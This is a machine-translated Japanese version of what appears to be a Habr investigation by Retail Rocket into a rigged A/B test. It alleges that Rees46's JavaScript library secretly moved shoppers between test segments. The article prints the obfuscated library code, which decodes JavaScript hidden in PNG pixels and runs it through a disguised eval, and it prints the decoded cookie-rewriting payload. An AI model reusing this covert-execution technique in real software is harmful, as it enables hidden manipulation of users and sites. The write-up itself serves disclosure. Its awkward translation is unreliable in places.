ABテストぞの攻撃レシピ 'R' + t101+ 'es46'

ABテストは、むンタヌネットビゞネスの経枈指暙に関する特定の決定の有効性を評䟡できる最も匷力で䟿利な補品管理ツヌルの1぀です。 5幎間の䜜業を通じお、膚倧な数のABテストを実斜したした。そのため、実隓を正しく行うこずがいかに困難で、どの゚ラヌが絶えず繰り返されおいるかをよく知っおいたす。

数ヶ月前、競合他瀟の1瀟が䜕かおかしなこずを始めたした。「賭け」圢匏のABテストを通じお、顧客に掚奚システムずRetail Rocketの比范を提䟛し、損倱が発生した堎合に100,000ルヌブルを支払う矩務を負いたす。

このような話は私たちにずっお珍しいこずではありたせん-䌚瀟が存圚する間、私たちのシステムはロシアず海倖のほずんどすべおの既存の掚奚システムず比范され、垞に優れた結果を瀺したしたどのテストでも有効性を倱いたせんでした。

Reesずの最初のテストは間もなく開始されたしたが、その実装の過皋で、かなり奇劙な結果に遭遇し、深刻な研究に至りたした。 最埌に私たちが芋぀けたものは非垞に驚いたので、この調査の詳现を共有し、その結果をロシアのITコミュニティず電子商取匕業界の裁刀所に持ち蟌みたいず思っおいたす。



DaughtersSonsオンラむンストアでの掚奚システムのABテスト


オンラむンストア「DaughtersSons」での数か月間、3぀の掚奚システムのテストが行​​われたしたRetail Rocket、Rees、および瀟内システム。

ABテストを実斜する仕組みサむトのオヌディ゚ンス党䜓がランダムに3぀の等しい郚分に分割され、オヌディ゚ンスの各郚分には独自のバヌゞョンのサむトが衚瀺されたす。 個人の掚奚のブロックのみが倉曎されたす-各セグメントには、掚奚システムのいずれかによっお制埡されるブロックが衚瀺されたす。



テストの䞀環ずしお、各トラフィックセグメントのコンバヌゞョンを他のセグメントず比范しお枬定し、結果により、どのシステムがより効率的に機胜するかを決定したす。

オヌディ゚ンスはクラむアントでJavaScriptコヌドを䜿甚しお分割され、すべおのナヌザヌはテストの3぀のセグメントのいずれかの識別子を受け取りたす。識別子はCookieに保存され、サむトでの重芁なアクションごずにGoogleアナリティクスに転送されたす。

Google Analyticsから蚘事を曞いた時点でのテスト結果-セグメントごずの倉換

セグメントA-息子の嚘の掚薊システム
セグメントB-Rees掚奚システム
セグメントC-小売ロケット掚薊システム



内郚掚奚システム「DaughtersSons」の指暙に関する倉換の倉曎

これらのデヌタによるず、セグメントC小売ロケットが負け、セグメントBリヌスが勝ちたす。 それずは別に、5月27日に泚意しおください。この日、Retail Rocketが最高のパフォヌマンスを発揮したす。詳现に぀いおは埌で説明したす。

テスト䞭、Retail Rocketの゚ンゞニアリングチヌムは、倚くの内郚テストを実斜し、サむトでいく぀かの゚ラヌを特定し、倚くの統合問題を修正し、さたざたなアルゎリズムずそのバリ゚ヌションの䞀連の内郚テストを実斜したした。 これらのすべおのアクションは、具䜓的な倉化をもたらしたせんでした。

掚奚の質の芖芚的評䟡


Retail Rocketでは、掚奚事項の有効性ず品質を評䟡する方法がいく぀かありたす。 それらの最初のものは、いわゆる「専門家評䟡」「劥圓性」の䞻芳的な芖芚的評䟡です。

Retail RocketおよびReesシステムによっお生成された掚奚の䟋を芋おみたしょう。



猫砂に぀いおは、動物やさたざたな皮類の猫の逌を運ぶこずをお勧めしたす。Reesシステムでは、子䟛にはベビヌフヌド、お茶、盎腞チュヌブをお勧めしたす。

よく蚪れた補品統蚈情報がすぐに蓄積されるにはそのような䟋が倚数あり芖芚品質評䟡に関するレポヌトの 1぀です、専門家による評䟡が数倀に盎接圱響を䞎えないずいう事実にもかかわらず、これは簡単で迅速な方法であり、特定の指暙ずしお機胜したす掚薊システムの仕事の質。

掚奚事項の間接的な品質評䟡


このような芖芚的なコンポヌネントでは、数字が私たちにずっお奜たしくない結果を瀺しおいるため、原因のさたざたな内郚研究に倚くのリ゜ヌスを費やしたこずは奇劙に思えたした。

たず、補品の掚奚ブロックず盞互䜜甚するオヌディ゚ンスを探玢するこずにしたした。 Rees掚奚ブロックで補品をクリックするず、パラメヌタヌがURLに远加されたす。



Retail Rocket掚奚ブロックの補品URLに同様のパラメヌタヌを远加したした。



たた、ナヌザヌのおすすめブロックをクリックするセグメントをGAで構築したした。



最初の仮説は、システムがナヌザヌの嗜奜をより悪いず掚枬し、関連性の䜎い補品を掚奚するずいうものでした。

この堎合、ブロックはReesの掚奚ブロックよりもクリック数が少なくなりたすが、これはGoogleアナリティクスデヌタによっお反論されたす。りィゞェットのクリック数は2.81倍になりたす。



私たちが怜蚎した2番目の仮説芖芚的に優れた掚奚事項は、人々の賌入を劚げ、コンバヌゞョンを枛らしたす。 ぀たり 圌らの泚意を匕き付けたすが、賌入から泚意をそらし、販売の成長に貢献したせん。

この堎合、Retail Rocket掚奚ブロックをクリックする人は、Reesブロックをクリックする人よりもコンバヌゞョンが悪くなりたす。 しかし、Googleアナリティクスによるず、これはそうではありたせん。リテヌルロケットブロックをクリックした人のコンバヌゞョンははるかに高い4日間のデヌタによるず37増加。



したがっお、Retail Rocketはナヌザヌに関連する補品をはるかに頻繁に掚奚し、ナヌザヌはこれらの補品をクリックするこずが倚く、掚奚事項は販売にプラスの圱響を䞎えたす。

掚奚事項ず察話するナヌザヌに問題がなく、芖芚的な偎面から掚奚事項が関連しおいるように芋える堎合、掚奚事項をクリックしおいないナヌザヌを確認する必芁がありたす。

オンラむンストアの芖聎者調査


オヌディ゚ンスのこのセグメントの調査を開始するず、2぀の興味深い事実に気付きたした。

  1. Reesセグメントには、他のセグメントよりも数パヌセント倚くのナヌザヌがいたすが、ABテスト蚭定は、掚奚システム間の芖聎者の均等な分垃を意味したす。
  2. Reesセグメントでは、芖聎者はより忠実で、サむトに繰り返しアクセスする蚪問者がはるかに倚くいたす。




オンラむンストアのトラフィックをセグメントに分割する正しい操䜜を確認するために、サむトを䜿甚するコヌドを䜿甚しおセグメンタヌを個別にテストしたした。メむンの郚門ず䞊行しお、同じオヌディ゚ンスのセグメント化を開始したした。


これは、セグメンテヌション機胜が正垞に動䜜しおおり、数パヌセントの゚ラヌがないこずを意味したす。 ABテスト「DaughtersSons」のフレヌムワヌクのトラフィック分垃には異垞が含たれおいたす。

開発者は、セグメンテヌションに圱響する可胜性のあるJS゚ラヌずバグのサむトコヌドを詳现に調査したしたが、異垞を匕き起こす可胜性のあるものは芋぀かりたせんでした。

論理的な前提は、ナヌザヌが䜕らかの圢でセグメント間を移動できるずいう考えでした。 私たちの実践では、たずえば、Cookieの有効期間が誀っお蚭定されおいたために、ナヌザヌがテスト内でセグメントを倉曎した堎合がありたしたABテストセグメントの識別子が栌玍されたCookieストアの1぀で、2週間しか生存しおいなかったため、ナヌザヌがこの埌に戻った堎合時間、ランダムに倀が割り圓おられたした-぀たり、ナヌザヌはテストの別のセグメントに分類されたす。 このような状況を回避するために、テスト䞭にナヌザヌがセグメントを倉曎しないようにする必芁性に関する項目があるチェックリストを開発したした。

Googleアナリティクスでこのような状況を远跡するために、「シヌケンス」ず呌ばれるツヌルがありたす。このツヌルを䜿甚するず、あるセグメントに最初にいお、別のセグメントに移動したナヌザヌを遞択できたす。 分析のため、Googleアナリティクスでこのようなセグメントをいく぀か䜜成したした。



その結果、次の数字が埗られたした。



これらのデヌタによるず、異垞に倚くのナヌザヌが残りからReesセグメントに移動するこずが明確にわかりたす。 これは間違いなくバグではありたせん。そうでなければ、ナヌザヌはすべおのセグメント間を均等に移動したす。

第二の結論これらのナヌザヌは倚くの泚文をしたす。

*オンラむンストアは、これらが実際の泚文であるこずを確認したしたほがすべおのステヌタスは「賌入枈み」です

Reesセグメントに移動したナヌザヌの泚文番号に基づいお、内郚セッションログを調べ、次のパタヌンを特定したした。

  1. Reesセグメントに移動したほずんどすべおのナヌザヌは、バスケットに補品が远加されおいたす぀たり、これはより忠実でコンバヌゞョンの倚いナヌザヌです。
  2. ナヌザヌの動きはクロック党䜓に均等に分散されたせん。これは、ナヌザヌの動きが手動で開始されるこずを瀺しおいたす。
  3. ナヌザヌは、Retail RocketがABテストに勝ち始めた日にReesセグメントに移動したす。



ナヌザヌをReesセグメントに移動するトップ時間、残り日数



ナヌザヌをRetail Rocketセグメントに移動する時蚈の䞊郚、残り日数

衚は、5月25日ず26日にほずんど動きがないこずを瀺しおいたす。5月27日には、小売ロケットシステムがプラスになり始めるず、動きが再び始たりたす。 繰り返しになりたすが、バスケットに商品を远加したナヌザヌは移動し、すぐに買い手に倉わりたす。

サむトで実行されおいるコヌドの調査


忠実なナヌザヌをReesに移動するこずは疑わしいず思われたため、ナヌザヌセグメントの倉曎の理由を探し、コヌドを調査し始めたした。 誰かが誀っおそのような゚ラヌを犯す可胜性がある堎合、誰がどのようにCookieを䜿甚するかを慎重に調査したしたが、疑わしいものは芋぀かりたせんでした。

2぀のオプションがありたした。Cookieは、息子の嚘の店のサヌバヌによっお倉曎され、クラむアントでは衚瀺されたせん。たたは、リク゚スト時にサヌバヌから送信される動的コヌドによっお倉曎されたす。

動的コヌドを確認しお、eval関数、たずえばJavaScriptコヌドのようなサヌバヌから送信されたテキストを実行できる特別なjavascript関数を探したした。サむト。

チェック䞭に、Rees JSラむブラリの奇劙なコヌドに出䌚いたした。


Rees JSラむブラリヌからのコヌド
key: "markDMP", value: function(e) { var t = function(e) { return String.fromCharCode(e) }; if (e) for (var i in e) if (e.hasOwnProperty(i)) if (function(e) { return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.test(e) }(e[i])) { var n = function() { var n = document.createElement("canvas") , o = void 0 , s = t(67) , a = t(68) , u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a) , c = [s + "UR", s + "ITY", s + "ODE"]; if (n && n.getContext && u && !1 === g.default.isDebug()) { if (/^a:/.test(u)) { var h = r.unserialize(u); if (!h || 464 === h[c.join("_")]) return "continue" } else if (3784 === u || 3577 === u) return "continue"; o = new Image, o.crossOrigin = "use-credentials", o.onload = function(e, r) { r.width = this.naturalWidth, r.height = this.naturalHeight; var i = r.getContext("2d"); i.drawImage(this, 0, 0); var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight) , o = n.data , s = void 0 , a = void 0 , u = ""; for (s = 0, a = o.length; s < a; s++) if (!(s % 4 == 3 && s > 0)) { if (0 === o[s]) break; u += function(e) { return String.fromCharCode(~-e) }(o[s]) } try { window[t(101) + "val"](u) } catch (e) {} } .bind(o, t, n), o.src = e[i] } }(); if ("continue" === n) continue } else { var o = document.createElement("img"); o.src = e[i], o.style.width = 0, o.style.height = 0, o.style.display = "none", o.style.position = "absolute", o.style.left = "-9999px", document.body.appendChild(o) } } } 




すべおのコヌドはこちらから入手できたす 。 このコヌドの特城は、明らかにその機胜を隠そうずしおいるこずです。

コヌドによるず、いく぀かの結論を出すこずができたす。





この情報が公開されるずすぐに、Reesはこのコヌドを削陀するず想定しおいるため、2぀の倖郚の独立したサヌビスhttps://web.archive.orgずhttps://www.runscope.comを䜿甚しお保存したした。

そのフォヌマットされたバヌゞョンは、 参照により研究に利甚できたす。

このフラグメントの正確な動䜜を理解するために、ナヌザヌのアクションを゚ミュレヌトし、Reesサヌバヌぞのすべおのリク゚ストを蚘録するモゞュヌルを䜜成したした。 5月25日ず26日には䜕も起こりたせんでしたこれは、Reesの方向ぞのナヌザヌの1時間ごずの移動に関するデヌタの衚からも芋るこずができたす、5月27日、Googleアナリティクスによるず、小売テストシステムはモスクワ時間の午埌7時頃にABテストでプラスになりたしたナヌザヌをReesセグメントに移動し始めたした。



ナヌザヌをReesセグメントに移動するトップ時間、残り日数

同時に、PNG画像のリク゚ストをReesサヌバヌに蚘録したした画像の内容はこちらで確認できたす 。 写真が利甚できないずいうだけです゚ラヌ404が返されたすが、Reesナヌザヌの写真のリク゚ストがヘッダヌで送信されるず、写真をダりンロヌドできたす



゚ンコヌド/非衚瀺を詊みたコヌドの入力に画像を転送する堎合、䟿宜䞊、 個別に取り出したしたが、ABテストのナヌザヌセグメントが栌玍されおいるCookieの倀を倉曎するようなJSがありたす

 document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 +0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/ 

このコヌドは、ナヌザヌセグメントが栌玍されおいるストアに属する2぀のCookieを、Reesセグメントに等しいセグメントの倀によっお明瀺的に倉曎したす。

Reesはこの攻撃の痕跡をすべお隠すず確信しおいるため、独立したサヌドパヌティサヌビスをリク゚ストするこずで画像も保存されたす 。

したがっお、Reesシステムのコヌドは、バスケットに商品を远加し、泚文を完了しようずしおいるセグメントナヌザヌに転送されたす。

ナヌザヌに最初に発行されたセグメント぀たり、5月1日より前に最初にサむトにアクセスしたナヌザヌはこのデヌタから陀倖されたに基づいお構築されたナヌザヌの動きを蚘録した瞬間5月1日から28日から埗られたデヌタによるず、Retail Rocketは確実にテストに勝ちたすそしお、リヌスは店舗売䞊を削枛したす。



オンラむンストアの忠実なナヌザヌをReesセグメントに移行する正確な時期は䞍明であるため、効率の差ははるかに倧きくなりたす。

さらに、Reesコヌドのテストで他の攻撃の兆候が芋られたす。たずえば、最初にサむトにアクセスするず、システムは耇数のRTBネットワヌクず䞀臎するCookieを実行したす。

同期コヌド



保存されたリク゚ストは、 web.archive.orgのリンクで衚瀺できたす

同期リク゚スト



これにより、少なくずもオンラむンストアの競合他瀟がこれらのナヌザヌにアクセスできるようになり、最倧でトラフィックを各自のセグメントにリタヌゲティングし、テストの他のセグメントから競合他瀟にトラフィックを転送しお、コンバヌゞョンを削枛できたす。

興味深い事実は、このRees攻撃がメディアおよび゜ヌシャルネットワヌクでの積極的なPRキャンペヌンによっおサポヌトされおいたこずです。



結論の代わりに


ほが5幎間の䜜業で、最初にこのような動䜜に遭遇したした。 残念ながら、ABテストは、そのすべおの参加者の品䜍の絶察的な自信を持っおのみ実行できるこずを認めなければなりたせん。

このような競争の方法は䞍公平で受け入れられないず考え、コミュニティ党䜓を傷぀け、確立された業務慣行の信頌性を損ないたす。 珟圚、私たちは法的分野で積極的に掻動しおおり、加害者を凊眰し、コミュニティがそのような状況に察凊する経隓を共有するこずを奚励しおいたす。

Source: https://habr.com/ru/post/J330012/


All Articles